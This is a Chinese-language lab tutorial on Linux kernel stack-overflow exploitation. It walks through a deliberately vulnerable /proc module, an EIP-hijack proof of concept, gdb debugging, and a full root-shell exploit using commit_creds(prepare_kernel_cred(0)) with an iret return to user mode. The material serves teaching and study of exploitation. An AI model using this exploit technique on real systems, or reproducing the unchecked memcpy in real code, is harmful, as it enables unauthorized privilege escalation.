linux kernel exploitation stack smashing

Introduction

内核态栈溢出和用户态栈溢出原理一致,覆盖栈数据劫持控制流,在内核空间可以用来提权。

Bug

查看漏洞代码:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

int bug2_write(struct file *file, const char *buf, unsigned long len)
{
    char localbuf[8];
    memcpy(localbuf, buf, len);
    return len;
}

static int __init stack_smashing_init(void)
{
    printk(KERN_ALERT "stack_smashing driver init!\n");
    create_proc_entry("bug2", 0666, 0)->write_proc = bug2_write;
    return 0;
}

static void __exit stack_smashing_exit(void)
{
    printk(KERN_ALERT "stack_smashing driver exit!\n");
}

module_init(stack_smashing_init);
module_exit(stack_smashing_exit);

Makefile:

obj-m := stack_smashing.o  
KERNELDR := /home/user/linux-2.6.32/
PWD := $(shell pwd)  
modules:  
    $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
    $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
    rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

Poc

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
    char buf[24] = {0};
    memset(buf, 'A', 24);
    *((void **)(buf + 20)) = 0x42424242;
    int fd = open("/proc/bug2", O_WRONLY);
    write(fd, buf, sizeof(buf));
    return 0;
}

由于之前编译时开启了 stack protect ,直接执行 poc 会造成 kernel panic,需重新编译内核,编辑内核目录下的 .config 文件,关闭 CONFIG_CC_STACKPROTECTOR 选项,然后重新编译,再次运行 poc 发现成功劫持 eip

poc2

Debug

调试注意事项:

模块在加载进内核后,并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息传给gdb。 add-symbol-file命令就是用来把模块的详细信息传给gdb的。 由于模块也是一个ELF文件,需要知道模块的 .text.bss.data 节区地址。 模块stack_smashing.ko的这三个信息分别保存在 /sys/module/stack_smashing/sections/.text/sys/module/stack_smashing/sections/.bss/sys/module/stack_smashing/sections/.data, 由于 stack_smashing 模块没有bss、data节区,所以只需指定text即可。

调试过程:

在 qemu 中设置好 gdbserver,找到模块的 .text 节区地址:

/ # grep 0 /sys/module/stack_smashing/sections/.text 
0xc8815000

在主机的linux-2.6.32目录中用gdb连接:

gd@ubuntu:~/pwn/kernel/linux-2.6.32$ gdb vmlinux
...

gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
0xc100946b in __monitor (edx=0x0, ecx=0x0, eax=0xc162e000 <__kstrtab_inet_sendmsg+6>)
    at /home/user/linux-2.6.32/arch/x86/include/asm/processor.h:740
    740 /home/user/linux-2.6.32/arch/x86/include/asm/processor.h: No such file or directory.
gdb-peda$ add-symbol-file ../stack_smashing/stack_smashing.ko 0xc8815000
add symbol table from file "../stack_smashing/stack_smashing.ko" at
    .text_addr = 0xc8815000
    Reading symbols from ../stack_smashing/stack_smashing.ko...done.
    gdb-peda$ b bug2_write 
    Breakpoint 1 at 0xc8815000: file /home/user/Desktop/stack_smashing/stack_smashing.c, line 6.
    gdb-peda$ c
    Continuing.

运行 poc 之后


Breakpoint 1, bug2_write (file=0xc733c200, buf=0xbfb0e0a4 'A' <repeats 20 times>, "BBBB", len=0x18)
    at /home/user/Desktop/stack_smashing/stack_smashing.c:6
6	in /home/user/Desktop/stack_smashing/stack_smashing.c
gdb-peda$ x/20i $pc
=> 0xc8815000 <bug2_write>:	push   ebp
   0xc8815001 <bug2_write+1>:	mov    ebp,esp
   0xc8815003 <bug2_write+3>:	sub    esp,0x10
   0xc8815006 <bug2_write+6>:	mov    DWORD PTR [ebp-0x8],esi
   0xc8815009 <bug2_write+9>:	mov    DWORD PTR [ebp-0x4],edi
   0xc881500c <bug2_write+12>:	nop    DWORD PTR [eax+eax*1+0x0]
   0xc8815011 <bug2_write+17>:	mov    eax,ecx
   0xc8815013 <bug2_write+19>:	mov    esi,edx
   0xc8815015 <bug2_write+21>:	shr    ecx,0x2
   0xc8815018 <bug2_write+24>:	lea    edi,[ebp-0x10]
   0xc881501b <bug2_write+27>:	rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
   0xc881501d <bug2_write+29>:	mov    ecx,eax
   0xc881501f <bug2_write+31>:	and    ecx,0x3
   0xc8815022 <bug2_write+34>:	je     0xc8815026 <bug2_write+38>
   0xc8815024 <bug2_write+36>:	rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
   0xc8815026 <bug2_write+38>:	mov    esi,DWORD PTR [ebp-0x8]
   0xc8815029 <bug2_write+41>:	mov    edi,DWORD PTR [ebp-0x4]
   0xc881502c <bug2_write+44>:	mov    esp,ebp
   0xc881502e <bug2_write+46>:	pop    ebp
   0xc881502f <bug2_write+47>:	ret    
gdb-peda$ b *0xc881502f
Breakpoint 2 at 0xc881502f: file /home/user/Desktop/stack_smashing/stack_smashing.c, line 10.
gdb-peda$ c
Continuing.
Warning: not running or target is remote

Breakpoint 2, 0xc881502f in bug2_write (file=<optimized out>, buf=0xbfb0e0a4 'A' <repeats 20 times>, "BBBB", len=<optimized out>)
    at /home/user/Desktop/stack_smashing/stack_smashing.c:10
10	in /home/user/Desktop/stack_smashing/stack_smashing.c
gdb-peda$ x/2i $pc
=> 0xc881502f <bug2_write+47>:	ret    
   0xc8815030:	push   ebp
gdb-peda$ x/4xw $esp
0xc7287f28:	0x42424242	0x00000000	0x00000018	0xbfb0e0a4
gdb-peda$ ni
Warning: not running or target is remote
0x42424242 in ?? ()

成功劫持 eip

Exploit

思路:利用 commit_creds(prepare_kernel_creds(0)) 提升权限,然后返回到用户模式执行 system("/bin/sh") 获得 root shell。

system call mechanism:

普通函数调用:

  • 使用 callret 指令
  • 栈上保存返回地址

用户态 -> 内核态调用:

  • 使用 intiret 指令
  • 栈上保存 trap frame

返回到用户模式执行 iret 指令,关于iret指令:

当使用 iret 指令返回到相同保护级别的任务时,iret 会从堆栈弹出代码段选择子及指令指针分别到 CSIP 寄存器,并弹出标志寄存器内容到 EFLAGS 寄存器。

当使用 iret 指令返回到一个不同的保护级别时,iret 不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针 分别到 SSSP 寄存器。

irettrap frame 结构保存用户态信息。

struct trap_frame {
	void * eip ; // instruction pointer
	uint32_t cs ; // code segment
	uint32_t eflags ; // CPU flags
	void * esp ; // stack pointer
	uint32_t ss ; // stack segment
} __attribute__ (( packed ));

在qemu中获得两个函数的地址:

/ # grep prepare_kernel_cred /proc/kallsyms 
c1069700 T prepare_kernel_cred
c1604d4c r __ksymtab_prepare_kernel_cred
c160e458 r __kcrctab_prepare_kernel_cred
c16151e0 r __kstrtab_prepare_kernel_cred
/ # grep commit_cred /proc/kallsyms 
c1069560 T commit_creds
c11bd900 T security_commit_creds
c1604d6c r __ksymtab_commit_creds
c160e468 r __kcrctab_commit_creds
c161521c r __kstrtab_commit_creds

exploit 代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
};
struct trap_frame tf;

void launch_shell(){
    execl("/bin/sh","sh",NULL);
}

void prepare_tf(){
    asm("pushl %cs;"
        "popl tf+4;" //set cs
        "pushfl;"
        "popl tf+8;" //set eflags;
        "pushl %esp;"
        "popl tf+12;" //set esp;
        "pushl %ss;"
        "popl tf+16;"); //set ss;
    tf.eip = &launch_shell;
    tf.esp -= 1024;
}

#define KERNCALL __attribute__((regparm(3)))
void (*commit_creds)(void *) KERNCALL = (void*)0xc1069560;
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *)0xc1069700;

void payload(void){
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
        "iret;"
        );
}

int main(){
    char buf[24]={0};
    memset(buf,'A',20);
    *(void **)(buf+20) = &payload;
    prepare_tf();

    int fd=open("/proc/bug2",O_WRONLY);
    write(fd,buf,sizeof(buf));
}

设置好 gdb,断到 bug2_write 处:

exploit2_bug2_write

继续断到 ret 指令处查看一下:

gdb-peda$ x/4xw $esp
0xc78cbf28:	0x08048f3e	0x00000000	0x00000018	0xbfdbb094
gdb-peda$ x/20i 0x08048f3e
   0x8048f3e:	push   ebp
   0x8048f3f:	mov    ebp,esp
   0x8048f41:	push   ebx
   0x8048f42:	sub    esp,0x4
   0x8048f45:	mov    ebx,DWORD PTR ds:0x80ef068
   0x8048f4b:	mov    edx,DWORD PTR ds:0x80ef06c
   0x8048f51:	mov    eax,0x0
   0x8048f56:	call   edx
   0x8048f58:	call   ebx
   0x8048f5a:	mov    esp,0x80f112c
   0x8048f5f:	iret   
   0x8048f60:	add    esp,0x4
   0x8048f63:	pop    ebx
   0x8048f64:	pop    ebp
   0x8048f65:	ret    
   0x8048f66:	push   ebp
   0x8048f67:	mov    ebp,esp
   0x8048f69:	push   ebx
   0x8048f6a:	and    esp,0xfffffff0
   0x8048f6d:	sub    esp,0x30

单步执行 payload,调用了 commit_creds(prepare_kernel_pare(0)) 之后执行到 iret 时查看一下构造的 trap frame

exploit2_iret

执行 exploit:

exploit2

Reference